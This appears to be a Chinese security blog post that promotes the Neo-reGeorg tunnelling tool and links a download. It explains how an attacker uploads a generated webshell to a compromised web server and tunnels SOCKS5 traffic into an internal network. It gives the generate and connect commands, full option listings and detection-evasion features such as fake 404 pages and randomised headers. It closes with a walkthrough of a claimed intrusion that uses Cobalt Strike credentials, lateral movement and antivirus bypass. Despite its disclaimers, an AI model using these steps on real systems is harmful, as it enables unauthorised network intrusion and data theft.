Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

reGeorg是什么

资产组里有2台机器:主机A、主机B。其中主机A上运行了Web服务,且IP或者端口映射到公网,可以被外部人员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

reGeorg就在这个时候起了作用,攻击者已经有了主机A的webshell权限(即可以在web服务器中上传文件),而主机A可以和主机B通信。那么在主机A上安装reGeorg工具,使得攻击者发出的请求以及目标机器的响应经过A的http转发,达到攻击者可以和主机B进行通信的效果。

Neo-reGeorg是什么

Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:

  • 提高 tunnel 连接安全性
  • 提高可用性,避免特征检测
  • 提高传输内容保密性
  • 应对更多的网络环境场景

Neo-reGeorg特色

  • 传输内容经过变形 base64 加密,伪装成 base64 编码
  • 直接请求响应可定制化 (如伪装的404页面)
  • HTTP Headers 的指令随机生成,避免特征检测
  • HTTP Headers 可定制化
  • 自定义 HTTP 响应码
  • 多 URL 随机请求
  • 服务端 DNS 解析
  • 兼容 python2 / python3
  • 服务端环境的高兼容性
  • (仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
  • aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
  • 支持内网转发,应对负载均衡环境

依赖关系

github.com/kennethreitz/requests

基础使用方法

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel_compatibility.jspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel_compatibility.jsp

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

②使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+------------------------------------------------------------------------+
Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains 等

高级使用方法

  1. 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
$ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
$ python neoreg.py -k <you_password> -u <server_url> --skip
  1. 如服务端 WEB,需要设置代理才能访问
$ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
  1. 如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
  1. 需要分散请求,可上传到多个路径上,如内存马
$ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
  1. 开启内网转发,应对负载均衡
$ python neoreg.py -k <you_password> -u <url> -r <redirect_url>
  1. 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
$ python neoreg.py -k <you_password> -u <url> -t <ip:port>
  • 更多关于性能和稳定性的参数设置参考 -h 帮助信息
# 生成服务端脚本
$ python neoreg.py generate -h
    usage: neoreg.py [-h] -k KEY [-o DIR] [-f FILE] [-c CODE] [--read-buff Bytes]
                     [--max-read-size KB]

    Generate neoreg webshell

    optional arguments:
      -h, --help            show this help message and exit
      -k KEY, --key KEY     Specify connection key.
      -o DIR, --outdir DIR  Output directory.
      -f FILE, --file FILE  Camouflage html page file
      -c CODE, --httpcode CODE
                            Specify HTTP response code. When using -r, it is
                            recommended to <400. (default: 200)
      --read-buff Bytes     Remote read buffer. (default: 513)
      --max-read-size KB    Remote max read size. (default: 512)

# 连接服务端
$ python neoreg.py -h
    usage: neoreg.py [-h] -u URI [-r URL] [-t IP:PORT] -k KEY [-l IP] [-p PORT]
                     [-s] [-H LINE] [-c LINE] [-x LINE] [--local-dns]
                     [--read-buff KB] [--read-interval MS] [--write-interval MS]
                     [--max-threads N] [-v]

    Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k
    (debug_all|debug_base64|debug_headers_key|debug_headers_values)

    optional arguments:
      -h, --help            show this help message and exit
      -u URI, --url URI     The url containing the tunnel script
      -r URL, --redirect-url URL
                            Intranet forwarding the designated server (only
                            jsp(x))
      -t IP:PORT, --target IP:PORT
                            Network forwarding Target, After setting this
                            parameter, port forwarding will be enabled
      -k KEY, --key KEY     Specify connection key
      -l IP, --listen-on IP
                            The default listening address.(default: 127.0.0.1)
      -p PORT, --listen-port PORT
                            The default listening port.(default: 1080)
      -s, --skip            Skip usability testing
      -H LINE, --header LINE
                            Pass custom header LINE to server
      -c LINE, --cookie LINE
                            Custom init cookies
      -x LINE, --proxy LINE
                            Proto://host[:port] Use proxy on given port
      --local-dns           Use local resolution DNS
      --read-buff KB        Local read buffer, max data to be sent per
                            POST.(default: 7, max: 50)
      --read-interval MS    Read data interval in milliseconds.(default: 300)
      --write-interval MS   Write data interval in milliseconds.(default: 200)
      --max-threads N       Proxy max threads.(default: 1000)
      -v                    Increase verbosity level (use -vv or more for greater
                            effect)

Neo-reGeorg下载地址

①GitHub:

Source code(zip)
Source code(tar.gz)

②云中转网盘:

yunzhongzhuan.com/#sharefile=VzT4…..
解压密码: www.ddosi.org

提醒

  • Mac OSX 上运行 neoreg.py 时,高并发请求会出现网络丢包情况,可通过 ulimit -n 2560 修改当前 shell 的 “最大文件打开数”

未来计划做的事

  • HTTP body 隐写
  • 传输 Target 隐写
  • 内网转发 https 的验证忽略

注意事项

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任!
作者不承担任何法律和相关责任!

项目地址

github.com/L-codes/Neo-reGeorg

演示截图

kali进行内网渗透–登录远程主机

proxychains rdesktop 172.16.88.97
Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

需要设置/etc/proxychains4.conf

socks5 127.0.0.1 1080
Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

从cobalt strike查看获取到的密码进行登录

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

成功登录被入侵[有授权的渗透测试]服务器

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透
Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

现在就可以对其进行内网渗透[主机/浏览器密码收集–存活扫描–高危端口–横向移动–逐级攻破–客户端敏感资料 窃取……..]

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

内网渗透十台[其实还有上百台!]

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

安全软件?不存在的

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

cs上线一堆[可有可无!]

Neo-reGeorg新一代内网代理工具|内网穿透|内网渗透

工具仅限于红队有授权的渗透测试及自身安全测试,切勿用于违法犯罪.

转载请注明出处及链接.

One comment

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注